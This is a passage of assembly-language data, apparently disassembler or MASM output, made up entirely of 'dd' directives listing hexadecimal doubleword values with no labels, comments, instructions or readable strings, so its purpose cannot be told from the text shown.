0E2B90083h, 58694A6Ch dd 0C5005F28h, 5D898F5Ch, 7CF9531Fh, 79A000A8h, 168E4212h dd 4000738Dh, 0E86D28EBh, 30E18h, 468A109Ch, 6492074Fh dd 0C7215400h, 896FD2FFh, 269000ACh, 2481F505h, 7F00EA80h dd 0F7C2AF82h, 0FAEFC9F8h, 5EFF0FC8h, 0A43E0ABh, 47B00270h dd 9005821h, 6AF8E2E9h, 1616851Fh, 1553C08h, 0F2064369h dd 0A5EEE012h, 0C9032707h, 0C00687Dh, 0B0F3EC80h, 6750022h dd 12F3AF8h, 0F0085D7h, 31222F4h, 5CC3FD3Bh, 391C4A1Dh dd 24CE4043h, 2DD8E83Dh, 3D12EA26h, 47AF4907h, 0F1AE0260h dd 0C8040054h, 22289121h, 3A00442Fh, 30488A58h, 0EA1B8Bh dd 3607A133h, 7D162CF1h, 7BEA03FAh, 0B215200h, 88F0C464h dd 5E4789Dh, 0B1CF71B8h, 8E49C097h, 20009DBh, 8078BEFCh dd 424412h, 0FE79B7E4h, 387450DAh, 1353126h, 9992803Bh dd 0C2D4717Eh, 24DD005Bh, 0EBAE3BA0h, 41002CC4h, 823CB988h dd 5C89CC29h, 63000A65h, 0F3E7B0FAh, 680035A4h, 0A2AEB5DCh dd 0D15ED4h, 8C38600Bh, 56C3E850h, 8600C1E8h, 13B9E089h dd 8B5B80h, 0FBC28110h, 0A104D614h, 3BDBDF38h, 774900D2h dd 0E035FFEEh, 40655C4Bh, 45A4AF00h, 0E989619Ah, 5A046800h dd 0AB505D28h, 87920758h, 872449A6h, 86B25134h, 3C71F02Bh dd 7B184D07h, 0C11078A4h, 1D1CCC66h, 143EF8h, 4ED70889h dd 83006C64h, 2F22098h, 112FC53h, 1C2693F4h, 0F4E7AA85h dd 73013B1Fh, 8819826Dh, 0C6C81413h, 0C8AB00F7h, 584A4363h dd 0B01F68EEh, 0CC808732h, 6238788Dh, 0E346074Bh, 0CFAB1875h dd 4E405861h, 69C9C8CBh, 3E6A5F00h, 2437C48h, 18271E99h dd 82007C55h, 6132A98h, 4000D7FFh, 8CC3FE11h, 0AD0343h dd 0F8A83D16h, 2105472Bh, 7EA65400h, 0E90DE790h, 5CC4002Ch dd 5219BCDAh, 4A00C0EFh, 3684CAFh, 24A4A0h, 0C2E8D649h dd 28B40743h, 0DD12B501h, 45B85061h, 0E9641E0h, 8AC2379Ah dd 0D305A6A1h, 7048FDCAh, 0F0324C3h, 4AC894F7h, 8810DB7Fh dd 0F0FD5F9Fh, 49D00F65h, 0A9230814h, 1C0408Ah, 0F076034Eh dd 93382B00h, 0B513E67Dh, 1FCD7C82h, 9F3D81F8h, 1C80FA2Ch dd 7A6E883h, 24E279FAh, 32756600h, 4F84D74Eh, 0FFD50097h dd 0B4EA3CC4h, 45003417h, 52442168h, 313E065Bh, 4A7854C1h dd 0FD2CC3Ah, 0A69C8500h, 0DB9A52A7h, 0FCE200D9h, 4BA14634h dd 2600EB54h, 0C32BA24h, 0EECC0850h, 0F1B207DCh, 9464594Fh dd 60098010h, 23A8FCBh, 0A1F800A8h, 68672029h, 4FC62C28h dd 0A9AA01ECh, 0F089D7CCh, 0CF00440Ah, 0B7DC16CEh, 8A0E34h dd 9A5C217Bh, 74D017D3h, 8206A101h, 0C087E56Ch, 0D8C7D8h dd 52B1D1ECh, 0E9C34005h, 5300257Ch, 4B22ABC2h, 17E7524h dd 5A32894Eh, 0E8D0E419h, 297F27A3h, 6AB2F600h, 0A6CA5EA7h dd 0F4AA0004h, 0BBB06DAFh, 0FA004B79h, 0DC4F34FDh, 0FB577D5h dd 1DC0CC57h, 41C26CEFh, 5FC04DC2h, 83009872h, 62C6B0CAh dd 3319AFh, 0E8C7042Ah, 0D40D5AB8h, 8074FF3Dh, 5710DA60h dd 0F883B903h, 68D00D8h, 8614FD95h, 3500BBD2h, 311D892Bh dd 2541B9h, 745106A3h, 4E525B03h, 0B293D200h, 1A8F73E8h dd 0D75313DDh, 699C00BFh, 0CD65C26Dh, 0F4853B00h, 9149C48Dh dd 30E860h, 739EB292h, 786E7DCBh, 0FAE87000h, 9718B059h dd 0F47B1EC1h, 83BD872Fh, 4840F18Dh, 0E4ED600Dh, 0A35C1403h dd 0B988A916h, 56309363h, 0D6970012h, 106A6132h, 607C7DB9h dd 86901C00h, 89B2EC5h, 0DF81014Ah, 89A1919Eh, 0CC7AE0D3h dd 220A5360h, 11C3E7h, 31642F0h, 41EC1215h, 0C76A2300h dd 0B4DA468Ch, 17C00019h, 744A423Ah, 800A80Bh, 3E4C754Bh dd 3D9B73h, 5D4E8CADh, 0C519EC6Eh, 24145A00h, 0A694C125h dd 83E002h, 0DC97FC6Dh, 51702CC3h, 69AF000h, 0DE813EF4h dd 1DE90002h, 29508E25h, 6F00754Fh, 94526796h, 3809BD69h dd 0A400EA2Fh, 0D87C0782h, 8039E9C4h, 74B0097Dh, 4D560021h dd 92DB91h, 32EC8F8h, 1150C329h, 5F67440Fh, 5D012005h dd 3DD5C7h, 260DDAE6h, 824998F5h, 8774A01h, 0D4637550h dd 0C8D01871h, 1906002Bh, 0E7BCEAC6h, 55006F4Bh, 53705B86h dd 51F06Bh, 0ABC85E75h, 0D8E5A9B8h, 8500D177h, 4CF2DCEAh dd 897458h, 0FC66EBD4h, 5D719052h, 85AC8000h, 6A2EC922h dd 4BEE1C55h, 101E7ED5h, 2BAEC051h, 3C0FDF0h, 689F300h dd 4C418CAFh, 42670075h, 3399CB1Fh, 0C438C2EFh, 3114804Ah dd 5E044669h, 4E581E6Ch, 907D8025h, 0B4FE2F0Bh, 1A45DA00h dd 4293C9CDh, 56290098h, 7C58C399h, 2E00905Ah, 7B05F569h dd 0E4246EBh, 27754D6Fh, 0D5B00017h, 0A14A858Dh, 17EBF801h dd 9A92FEB3h, 77A3D9D8h, 0AB4B0367h, 94327866h, 0EED5C490h dd 0E8194200h, 0C9C7933Ch, 75480FCEh, 0F8E0C6ACh, 94D12E7Dh dd 2DE18100h, 0AC13B27h, 0CA033D02h, 89080700h, 1E907519h dd 0C2D37D00h, 20449DBEh, 95C11D05h, 8BD0CEA3h, 6109C380h dd 0CC00C481h, 0F7F0167Fh, 3AA9D40Ch, 0DCA5D006h, 0E41480D7h dd 392EE091h, 0E6802466h, 0DFB94B39h, 1F005B82h, 45C63842h dd 0C4F964h, 83028485h, 60D78A89h, 0FE508200h, 3C70228Bh dd 0E754009Dh, 0F0EACE64h, 530075DBh, 0CC88FF17h, 7E38E9E2h dd 5E070C5Ah, 0B6A28304h, 0DE171303h, 0F178FF10h, 2660660Bh dd 0B0F00Ch, 25FA453Bh, 5CF00D74h, 406C21Fh, 21A9DAC0h dd 168BDFh, 50176655h, 19458940h, 0B70FF200h, 33310308h dd 0E94300CCh, 3A3B0A60h, 741E3546h, 36000E67h, 261F0954h dd 0A03F0095h, 4F665001h, 0B008102h, 0A6F2B752h, 3032FA53h dd 755E0D45h, 0A9076241h dd 2AD8A2B9h, 64178ED0h, 1F20047h, 4EEC8238h, 270134F3h dd 5DC04A8Fh, 1BCD2E6Bh, 1D99DCh, 0EDA5FA29h, 0FBBB6001h dd 2481660Bh, 1980FF7Dh, 258A2976h, 0A00074F6h, 530DE1FFh dd 6731579Ch, 50F248D9h, 45B398Eh, 1CF4E83Bh, 6A80803Fh dd 4E268D0Ah, 4F740008h, 0ED8C03E7h, 7D00E91Eh, 3C51AEE0h dd 0F1250F6h, 23AB4056h, 9F53D20h, 0FC0101EAh, 22FEC9B3h dd 0BE88565h, 3AFF450h, 7FF64269h, 20E70E32h, 3C65BE58h dd 0E7215317h, 0DD121FFFh, 45CF0011h, 13BE0E62h, 0B0D47100h dd 8C9D4792h, 3CA4070Ch, 5090A303h, 83D5ECBDh, 0AC68501h dd 52C77853h, 0F854ECh, 50908603h, 4D07E924h, 83376400h dd 8A84AD2Ah, 91480543h, 0C09B124Ah, 30413201h, 0A8FEA973h dd 42BAB800h, 15730ADCh, 0C93D0045h, 0DA4B5A1Ch, 57004D82h dd 3C47E194h, 0CFDC21h, 44D88871h, 0EE39FEC7h, 1AE04A30h dd 0C55E9h, 9348949Bh, 0B681D291h, 75393Eh, 0AA51F527h dd 4F42EDh, 0E31224A6h, 0F687477Ch, 10939504h, 7C8014BFh dd 740A25Ah, 0E802F49Dh, 0F5687791h, 0F856C0DBh, 0D31C25FEh dd 28DF582Ah, 89F20380h, 2CE4542h, 5C261CC0h, 405D217Eh dd 183CDC18h, 10352350h, 5F00C212h, 0A18FC32h, 60C48554h dd 0D031C4D4h, 873C7E1Bh, 4DAF8190h, 0EE41058h, 121760E4h dd 0BD90ABCh, 0B68F0882h, 3740EBA0h, 523FD655h, 344380A5h dd 0FC570DDBh, 867F00A8h, 104512B5h, 0CC03FA91h, 0CA73B817h dd 6BE000E2h, 1182DE4Ah, 55001F62h, 0A48A3E19h, 13399Fh dd 0B2EBFB54h, 9CB8C26Ch, 81D40938h, 2978064Fh, 58619E11h dd 0F3AFC8h, 0F7DC2074h, 4CFDE002h, 54112300h, 83D24222h dd 0D44800C1h, 0C925A7F2h, 0E2021975h, 74A47F72h, 8EC7E0FBh dd 71F70EB4h, 85E02CF0h, 0E387831Ch, 500002F2h, 0FA16E98Ah dd 3F930BD1h, 851F8DC3h, 4B14032h, 0A83A1029h, 0A27D3Bh dd 631277Eh, 3C432Bh, 530C63A1h, 5D93CA24h, 0E01F1FE4h dd 0FE3BF8h, 0B2830F28h, 308D8Bh, 0E81E4053h, 6B3C1219h dd 1876B3F6h, 4F07F400h, 8A05C283h, 5F3203F5h, 0FFFA9629h dd 8625DFB0h, 6A0033FAh, 0F1450B0h, 189F87h, 6F22832Dh dd 5940EFF7h, 0BC895407h, 0FAB04975h, 0D1C680h, 83740567h dd 724FBA68h, 0F021D605h, 0F780753Bh, 488063h, 74182D7Bh dd 0C69F3F3Ch, 8A424B00h, 0D241652Ah, 478100EFh, 17C5625h dd 6800625Bh, 12F03918h, 1DBDDA1Ch, 0C07FC9A0h, 564767B6h dd 6A4CFE15h, 340015Bh, 9EC75281h, 772F9CCCh, 0BE053E86h dd 44CA5900h, 8475F8A7h, 0FC1C400Bh, 0DF3A0953h, 142B080h dd 743CC23Bh, 226C000Ah, 0F4CF286Eh, 4DE9009Fh, 254013A9h dd 743AE448h, 0F74A829Dh, 60553899h, 0EB75949h, 611DE1ABh dd 51889A38h, 790B6603h, 0C88FC743h, 714A610h, 3758E1A5h dd 0E4069159h, 8EBD4092h, 4D786599h, 0EA058DECh, 0B8E0A02Fh dd 0F08B67C3h, 1B49B7Dh, 5D3EEBC2h, 21E6AD71h, 0CB9A60CBh dd 0DBC04D00h, 7C2FBADCh, 63760022h, 5D50EA53h, 691FC973h dd 5B1FFC96h, 97B89880h, 1F86D71h, 679D18C2h, 0E0E22D24h dd 7C7F1CD7h, 0ADD45C04h, 4980CDD8h, 74F45969h, 0A5270379h dd 8867DD25h, 12D865ABh, 5513B2ECh, 20B8D0E5h, 1797EA00h dd 0F8A53D23h, 15286728h, 0CCB3DF01h, 484666C4h, 2F55DCh dd 99C76806h, 0AB6E1597h, 54B34B33h, 89DDD8CBh, 0A36800CFh dd 0DA90E805h, 0B001E2Dh, 71D3A009h, 78F25274h, 12FEB4h dd 0E15AE659h, 708EC6Bh, 0C71C6300h, 0BF0244F6h, 0C57284h dd 0E28CB895h, 573FC9E4h, 13B07E00h, 1541FF4Dh, 7B3C0040h dd 273B9591h, 7800CB69h, 7EFDDA92h, 90C916h, 0D302D088h dd 49F3D69Dh, 18000574h, 955B1C36h, 24588496h, 28FFF01h dd 4E1E2B2Eh, 0C1574740h, 2894200h, 598CF986h, 3FFCFAh dd 78C89F0Ah, 9A4D1025h, 0FD45140h, 53B05297h, 4009EB60h dd 3500DE2Ah, 8CEEF992h, 1F5888FDh, 43A63C24h, 2149B11h dd 0D15298D0h, 8034F03Bh, 0B948A2FFh, 0FFC097Bh, 0E946DADCh dd 4D000D3h, 0D840FD2h, 39EE0200h, 28ECC336h, 768390F6h dd 0A350008Fh, 1466D4E2h, 3A00D845h, 0DB138D16h, 39A53EBh dd 0BBD3FBACh, 7BE0B603h, 3C00E340h, 0AB866711h, 0E27D049h dd 0CF467107h, 801DE800h, 4D7F0326h, 59C11700h, 62478CD5h dd 3CD91DB6h, 58CE45D2h, 6F2A8066h, 103BBF86h, 233EAC45h dd 4B074703h, 0B4C7E825h, 8230014h, 0A9A1F9CFh, 70F50212h dd 2B2C1CBAh, 881D3706h, 1BAC2040h, 0E3D01h, 265A366Bh dd 0BF4D50EDh, 0A1CD1C00h, 0A094C3C9h, 453055Dh, 0E1D79C4Ch dd 333E818h, 0A4140800h, 0C415BB86h, 582BF01Dh, 5003835Dh dd 78AD0364h, 0DEB014EBh, 0F1071EA8h, 1832825Eh, 0C04B050h dd 4C9F05D3h, 80DE7E75h, 83E9D5BEh, 3A1D7B77h, 308F03C9h dd 9D14020h, 14266Ah, 48A0AC52h, 2C82B718h, 663DFB98h dd 8A98009Dh, 0C321C954h, 2B8E2699h, 71780158h, 0C4453561h dd 0AD001238h, 14EB7F33h, 0B2C4396h, 2F847D18h, 90DDC980h dd 324C826h, 3F17E3FBh, 0A1575A00h, 50CFFD2h, 83CD3B24h dd 87D30023h, 0F210D455h, 127D600h, 0B018C0F1h, 24C4070Eh dd 302814BDh, 40CB439h, 0B376871Dh, 0C884B900h, 17E902h dd 0A2DD47E8h, 7E82F0BCh, 0B143A300h, 0F37D08E2h, 0FA3D0364h dd 1EF2FF4Fh, 387FEDF8h, 81430400h, 0BFB31853h, 0BA0250A7h dd 1EE2003Ch, 93843042h, 0D05C20F4h, 40DE0052h, 2C34E4A1h dd 0BD8500F8h, 5938C843h, 7A000BFCh, 0C9535F84h, 2E8822h dd 0B8C10104h, 4E603F10h, 3437BF1Fh, 0C7E50A03h, 6575C8FCh dd 537D00FFh, 28521BC1h, 90011D45h, 74F685A5h, 55200F5Fh dd 8B391ED1h, 0E5803AEEh, 0FDC44BAFh, 0F202A6FBh, 3E642C25h dd 0E018425Ch, 68548Ch, 96F809A4h, 75FF9240h, 18492201h dd 8E9BF12Fh, 4320C121h, 0C6B055h, 0F4C5E987h, 422B610Ah dd 0E8408200h, 9A57A34Dh, 517D0332h, 0D444C960h, 0F77E88B0h dd 3F509600h, 225BA38h, 0A786007Bh, 6C8331C1h, 0F000CD71h dd 3624EB62h, 53FE04h, 0F7E88AFBh, 4B1E433Ah, 0A078756Fh dd 8CE2FF03h, 11D507FBh, 0E0DE9421h, 7EF0E599h, 84233200h dd 31D016A9h, 96544C9Eh, 4A210075h, 20622464h, 97EA433Ch dd 18850400h, 0B2557329h, 486A02F3h, 2BF0F449h, 35C5CBE0h dd 90A93700h, 93075DD3h, 2AE10010h, 5FEB5530h, 0BD008018h dd 2FD73B3Eh, 0E30D72h, 730E1F3Dh, 2ACAC106h, 81FEBECh dd 87C3F83Ah, 0E8E6E375h, 5E9F8Eh, 0DC102DC0h, 0F61CE881h dd 16442200h, 0BC88EFC3h, 7B92004Fh, 84FE2D2Ah, 0E60F5053h dd 0C04BAC4Dh, 29A1E0E8h, 89853F42h, 9CF58C81h, 0ECA83EF4h dd 0DDEADAC7h, 1CBC530Eh, 0EE4B609Bh, 0EE4692Ch, 5427D2A5h dd 89051360h, 12006BA4h, 3C9FFB5Bh, 1107053h, 88E22A11h dd 0D9182134h, 4C0DD851h, 87493800h, 50A28C91h, 907515h dd 8041FAD2h, 406AF633h, 30FFE21Dh, 902D7580h, 0F66070Bh dd 5A4D3881h, 78832400h, 7400E03Ch, 82801E4Bh, 768F303h dd 5615FC99h, 8108A023h, 4500503Eh, 27414C6h, 38F6B572h dd 3CF069FCh, 24006AF0h, 0EB4EBB28h, 0FE744A5Dh, 1A83121Ch dd 5F1F0240h, 90136574h, 72D9008Dh, 841464DBh, 0EB730C62h dd 7839F602h, 6031B849h dd 5021F8FCh, 79E7C53Fh, 34BA3E46h, 91005FD8h, 525AB774h dd 0D5002367h, 8E037F86h, 5C16EB3Ch, 0DA00CB77h, 0C8D0D73h dd 0D103DD33h, 7B84CF21h, 9C963B04h, 0E490E58Bh, 0C4C5700h dd 0BE006C5Bh, 4EC426A3h, 265EA10h, 0D08FABBCh, 0AA406982h dd 900F4916h, 770A120h, 6B77880Ah, 0C689AC90h, 31FC020Eh dd 0CACF49C9h, 0B2C09740h, 0C87030FCh, 19E98800h, 0B6F28AF1h dd 66182708h, 784BA077h, 89351209h, 440E0C34h, 0DA1C4275h dd 9B803E80h, 0D2F75BD3h, 25D100E4h, 57AD089h, 0B928C8ECh dd 4B00C4B7h, 72D54442h, 6B0EBh, 2ECBE1F3h, 16867799h dd 0B4C30330h, 5F547Dh, 50B9B3A7h, 33135CEAh, 0AF530100h dd 58AE9E35h, 28680FA0h, 5C60B55Fh, 50895294h, 59B18500h dd 8A0BD123h, 0D8800002h, 0A126758h, 42F05F2Eh, 0F0754905h dd 0B7ECA1B0h, 92BDC00h, 0F35D5AF9h, 79A55401h, 0E5957458h dd 29FD7280h, 5BC85614h, 0D7FCD200h, 9857701Ah, 78402E4Ch dd 6040729h, 0F44AF0A3h, 0BF00FE41h, 1D17BD82h, 0E6E3E80Bh dd 2585002Dh, 0C65A4F78h, 733F61B2h, 1B770019h, 0AE933B3Ah dd 591A2675h, 0BA8100DDh, 3021C2Fh, 86EFD81Dh, 54971100h dd 3C3969Bh, 8A0A9BCh, 0D1D848EBh, 2A383988h, 16E6F91Bh dd 52432D00h, 0E923BCC7h, 20B8F2h, 18583BBDh, 2F73820Fh dd 4F93B200h, 22C43DAAh, 591004F0h, 8394E22Dh, 51B360E9h dd 0D5B80CB0h, 0B9013100h, 0D75C2042h, 0B871E645h, 13F270B5h dd 173EFE08h, 272F0039h, 0BAF7E07Eh, 893055FEh, 80093AF4h dd 0B72009F1h, 0C58302F9h, 0FFE8B204h, 0CD9E567Ch, 6A513800h dd 9A9C73h, 95880813h, 977CB85Ah, 0C5BBF400h, 1561EA0Ah dd 0F1100003h, 4912510Dh, 0A4581D0Eh, 802C3F8Ah, 5E077562h dd 0F8CA28h, 48EFE842h, 0A0E0FF96h, 65E4C800h, 0DFBCBA95h dd 7C60000Bh, 44AE545Fh, 0AD7BE093h, 6972000h, 1A2643C6h dd 4EB0001h, 7893DD0Dh, 540022CCh, 2C085011h, 1E6D799Fh dd 4057F12Dh, 730989F0h, 4600C630h, 0F34E8DD6h, 0DE8CADh dd 258B5967h, 0CBEFB91h, 5021C607h, 28F0B256h, 0FEADB5DDh dd 76D0FB59h, 30D11E20h, 0D5C5876Bh, 751C5081h, 1EC339CFh dd 80B1D62Bh, 0FD9B7Eh, 10E87349h, 1EBB92D4h, 6328100h dd 8E004E4h, 0D81F00DCh, 0A8F355D3h, 0C4003121h, 0D6BDAEFBh dd 9820A9Ah, 5FFE65CBh, 4F1A180h, 5802EA81h, 0B3542F78h dd 2ADDE0C4h, 0F5C20216h, 5F2664A2h, 8A9360E0h, 831E4712h dd 18446700h, 2E6689F7h, 30FC27Fh, 0A4504824h, 0C9F858E0h dd 6205D00h, 75894EF0h, 0F64A05BCh, 0C0762CB4h, 0C7B3466Dh dd 9D0F5000h, 1F2F2D82h, 5A901E55h, 0EA484097h, 0CE223746h dd 750058F4h, 196577EEh, 514B011h, 3B398285h, 0B0AF8718h dd 45807534h, 1AC5EC00h, 0EBE0176h, 0CA020061h, 0D9A4AF06h dd 0FE730D13h, 0C7958600h, 0AD775304h, 5F8B00AEh, 0FB7D80C2h dd 0CDEE88F0h, 2F008D7Bh, 0C715C663h, 0B86F110Dh, 0E4101201h dd 0BCFA0282h, 7E609D2Ah, 0DA0333EAh, 7468C075h, 0C03FB331h dd 35817A9h, 3E7995CEh, 1CE07567h, 0F35EE26Fh, 0DC00F5A8h dd 5114F669h, 4800B7DFh, 268DD83Bh, 7A011A1h, 0AF07BA12h dd 0D4F17174h, 7D85E454h, 5C38591Eh, 0CAF23F00h, 1E74032Dh dd 8562CCD6h, 0C09118AAh, 645A0A94h, 3EC510Bh, 454500B5h dd 1E05BAD4h, 5077D2Eh, 0FEAA81C4h, 0C0FD2FC2h, 0E3AE87h dd 0CAB541Ch, 6238FE95h, 0A032D32Eh, 0FF22B400h, 0EE7384h dd 0B0109C72h, 4BE7E968h, 8D2B60FBh, 91DD9500h, 8C2E63E1h dd 931313F0h, 420F003Fh, 0A6B1EB70h, 0E7772200h, 0C75F4086h dd 2C835C90h, 0C049F21Fh, 6A138C23h, 0B500F4EBh, 7385DB51h dd 16BA0221h, 0CAB4F2h, 53222A75h, 0D800720Dh, 52C38A1Ah dd 72865E01h, 0A76900E9h, 80D7B021h, 334CCD38h, 401100B1h dd 742E120Ah, 94D80066h, 0E0F42201h, 1700FFFAh, 0C01D7525h dd 0F467FE50h, 837713h, 0B2C9BF02h, 0B152535Ah, 8AB32100h dd 80C1B75h, 64560797h, 0E0D3220Fh, 9E060DC9h, 5CE22B00h dd 982D14E5h, 743300E9h, 4F9F6828h, 5EF6FB42h, 0AA195507h dd 3FAF18CBh, 463264C1h, 29EC4B35h, 0F17B00ECh, 8BA1A490h dd 82039F1Ah, 2717677Dh, 7F319177h, 2E7142F8h, 0A07BEh dd 66A01D8Bh, 79003064h, 0F6035FF8h, 7AA1C6B8h, 5C97009Ch dd 0D82E53A3h, 4D0B5BD0h, 0A94210h, 4A445A6Ch, 9BBA1DCDh dd 0CBA600C3h, 0FAE6C47Fh, 2FFB9E03h, 0E01A57FCh, 293865h dd 0D8DB3BA7h, 345D36E3h, 6C12A5EEh, 0BBF49Bh, 6A0FE00Eh dd 0EBEC9D01h, 1A0A9900h, 0ABC48688h, 6753A29h, 0A1BD9000h dd 0CAA73D68h, 0A8155D01h, 0B2BBFB92h, 0EAD7C0h, 994AD02Dh dd 0A436A010h, 763E8800h, 7D540AFDh, 385F00BAh, 0B805D5E7h dd 0EFA058CCh, 1CE2158Ch, 2CDF8900h, 0B50ED494h, 0B0930383h dd 0F0B86D5Ah, 2B89EFB0h, 59F46A00h, 0E20E53F8h, 0EC480022h dd 63C5035h, 0CE0FA63Dh, 0A0A11328h, 0A03EBC96h, 0FCA4001Ch dd 60C40647h, 0F24C3468h, 7890326h, 0C0BBFD85h, 0BC5C58h dd 0C275F803h, 0D35BC068h, 0DF29BF00h, 669CDC88h, 7CCF842h dd 6C4617B6h, 0A034B021h, 64394C9Eh, 0EC62003Ch, 0D5F8101Fh dd 27973A4Eh, 0F0F47AFFh, 48EE0Dh, 0EF38DB79h, 0E552EE19h dd 8F02333Dh, 0E1644414h, 4CE36837h, 13AEDCCh, 54203D61h dd 0F8430C7Fh, 8FA34B1h, 0C422B900h, 0B32BAB2Dh, 0BB580012h dd 0D6154E25h, 1D7F943Bh, 49792AC0h, 72656B3Ah, 5E3C2466h dd 36B401F3h, 302CD94Eh, 19074246h, 82EB9A90h, 2A230360h dd 584507B6h, 0B301B7AAh, 1EE83724h, 62126A99h, 0B90136A7h dd 4B03A045h, 4E52D0h, 7CF04C9Ah, 9ED4475h, 0A954F513h dd 419ED900h, 1CCA56DCh, 0C01C4950h, 745F6547h, 0FCF161EDh dd 7A037B64h, 20C37371h, 0BF69D852h, 78450091h, 66DDF663h dd 4CFCA0D3h, 73007CFCh, 4518F99Dh, 0F0106D53h, 31880024h dd 0C9028B62h, 3B00082Dh, 0DDD6F8E1h, 0AD8D79h, 28FCD489h dd 9C3A7D72h, 572EEA00h, 86CA3E62h, 0C9113EF4h, 0EFE20683h dd 26B05C78h, 5812753Dh, 9E008415h, 0C74A8B28h, 11E21E3Ah dd 0E8C000A5h, 0C4EAEF27h, 0D22E4F00h, 2071740Ah, 7D7E02h dd 0F9EEE7E0h, 453DB664h, 0C42A0800h, 0CBC70D14h, 439E00D6h dd 3F816605h, 0FD0025FFh, 26E83DD2h, 1C6CEFh, 1E389507h dd 0AA2769C4h, 0A6D6241Dh, 0E0E85A8Fh, 0EE3AE1B5h, 91670053h dd 0C64E3E10h, 3F034F55h, 4B7AD2B1h, 0D875CBC9h, 0C3FA50h dd 6F0032Ah, 26F3F85Bh, 80CE103Bh, 52E22C92h, 0A46DA7h dd 0B3446BEFh, 0C308BB43h, 0CA535026h, 0F53B1700h, 0E68B828h dd 0D2395411h, 89782B40h, 6A000AC8h, 0A7B052B2h, 7CA10974h dd 0EAD1F4CEh, 713800EBh, 0BD5EBFAAh, 9007D0Eh, 5478D68h dd 0FE63ECE2h, 0D52C0378h, 0A06171Dh, 0C20146F0h, 6900E8ECh dd 1505ED39h, 0FE388934h, 65C31FBDh, 6581E542h, 0E0A00E6Eh dd 2B00DE8Bh, 81E41C5Dh, 714FBh, 646885BDh, 162F8629h dd 8AEAAC00h, 0E455121Ch, 4A4800F7h, 278358E0h, 2B3B04EBh dd 5F9E9F68h, 7D19F3C0h, 0F05497h, 0B4517F52h, 38783644h dd 324638h, 33D08B56h, 0FEBF6h, 80068A7Dh, 5742FF9h, 5C5F0A00h dd 42F29007h, 0F3A00D7h, 0ABD0EC09h, 0A6000354h, 0FCC34A5Eh dd 7C75F7F0h dd 17E51753h, 42470030h, 0B8A0D73Ah, 0DF822900h, 0FCE488D1h dd 7E3700BEh, 95EB1C7Bh, 177892F7h, 0DA19A10Fh, 3CA900EDh dd 0FD3E8Bh, 9A708845h, 0C94F943Ah, 1241520Eh, 0F4538024h dd 284ADCh, 6389E2C1h, 3C7B8E5Dh, 3B7CE800h, 5C033A78h dd 1D1C003Fh, 40F61304h, 5F0B148Fh, 34A5A5Bh, 0F16886E4h dd 6520C13Bh, 0F0A61C8Ch, 209FBD8Eh, 0D9B5001Ch, 301BAD96h dd 0BE95D500h, 4A4D8EBFh, 687F3F73h, 0C49D5100h, 45EB3E70h dd 34A97D0Eh, 35C07EE4h, 2147D3BDh, 506F00E0h, 2F58107Ah dd 93F8B702h, 0FEE96E05h, 0CB010FFFh, 0C231A26Ah, 0C0428820h dd 2E06BA34h, 0EEFF23A3h, 0E59BC05Fh, 0F8DC00BBh, 0BF94B054h dd 5B0263D0h, 78DFE964h, 322861ACh, 1331803Bh, 0EFFC6C75h dd 625C2300h, 0FDFB447Ah, 0BEE70361h, 0BB4EDF1Eh, 792C63F8h dd 0F86D5E1Dh, 202ED980h, 0F72A6Bh, 4C7D62AEh, 7986E34Fh dd 6DDCE03h, 0D8ACF63Ch, 641A53h, 0B38D702Eh, 14B67582h dd 52509F07h, 0FBC15DCFh, 0B9EC4E78h, 0F88400F0h, 6BB453FEh dd 74039714h, 0FABD0DA7h, 48C2F81Fh, 0E8830002h, 30B83AA2h dd 202C264Bh, 0B501D512h, 762C4306h, 0F00A89D0h, 0EF6D099Bh dd 0D88029FEh, 66C78B3Fh, 547E9AFCh, 0A9165Ch, 55FC4492h dd 51930Fh, 0CF10B22h, 16F8678Bh, 0CFBE7503h, 0B0381ACEh dd 0C0103Ah, 0FE124B1Ch, 74C9DD6h, 7D00ADB0h, 0CB51ACFCh dd 972F10h, 4F022944h, 7E12A90Ch, 8F0B870Fh, 31F9802Dh dd 1CE3543h, 9422274h, 0D9192436h, 0E910D137h, 1C85E83Ah dd 83B8B73Eh, 8CEC7DC2h, 33C0EFA5h, 0EF57519h, 4D88982Bh dd 8669680h, 553D4126h, 0EB3B9C4Bh, 39F98443h, 8AEA0715h dd 70F8AB27h, 4B8296ACh, 4A337C00h, 0F2F5EB8h, 51760084h dd 38F1DFABh, 413FAF98h, 2CB9C7h, 951DAC9Ch, 0E106097h dd 5EFF483Bh, 8D1C3040h, 0DF7A0853h, 0C1E1500h, 0ABF656Eh dd 4A4B00EBh, 42203911h, 0E526695Bh, 0C80001C9h, 0F32D91Bh dd 79E005Ch, 830E731Eh, 8D3E0401h, 0B490F485h, 8074F83Fh dd 0DC8265BEh, 0EDB71069h, 774BC0h, 155C81Eh, 0CBD52EC9h dd 0A2F91600h, 64146E09h, 7507846h, 70965534h, 0C6B75160h dd 3ED7F092h, 0FCFC73Fh, 61E9E0E5h, 6C79FE9Fh, 1FC5E2C4h dd 0C0146A43h, 0E958C08Fh, 1CB82EF1h, 5C087D00h, 3F840ADh dd 0B93500B4h, 0EF8B0689h, 0A5EE795Dh, 4B437000h, 460307C0h dd 0C3E0048h, 0F02B0A33h, 0E800244Ch, 592556AFh, 12EB007h dd 0C8471F8Ah, 0E44E4034h, 49004423h, 16051F2h, 71EBB1h dd 37195E3Ah, 2A41775h, 50A08900h, 2ACAD555h, 7F230F40h dd 0CF40D82Bh, 38C852EBh, 907C3903h, 0BF366425h, 1A296A80h dd 185FE17h, 72F107A6h, 0D08E924Dh, 0EB007534h, 0D04AD58Bh dd 20BA61h, 0E36E9E65h, 408D85E1h, 80CFAA00h, 423F3908h dd 3A980F59h, 0FCBDE03Ch, 1B1FA2BCh, 0C8D6ADB2h, 8A904E07h dd 0C03EE6F0h, 82060050h, 12AEF392h, 0BFFE0156h, 30FB6C00h dd 2F144184h, 4C453E06h, 0FA950072h, 0C3F43CE9h, 3A00EEDBh dd 100821FCh, 75188A74h, 931C0205h, 9BE842BBh, 40F59061h dd 59C474DFh, 13305F1Fh, 0F8E895DEh, 0D9008275h, 202ABF22h dd 7AED0Eh, 59D474BDh, 1C9AAAD7h, 5424D207h, 0F5407F82h dd 7995ECB4h, 0FC21771h, 20860F76h, 9FAB7200h, 0DC5EE051h dd 0EEF1B5F1h, 857C0A80h, 4190B138h, 89B62B00h, 276EAED2h dd 8178B7h, 1DC2881Ah, 0F222287Dh, 0A84ACE00h, 0FDBD11B9h dd 0B80B004Bh, 0A443465Ch, 10009AABh, 0BC998EECh, 0C7555Ah dd 8870540Eh, 3C9EDF8Fh, 0FF72E300h, 5DADC815h, 0F9340031h dd 7F1CE17Eh, 7300E90Eh, 0ECED33A5h, 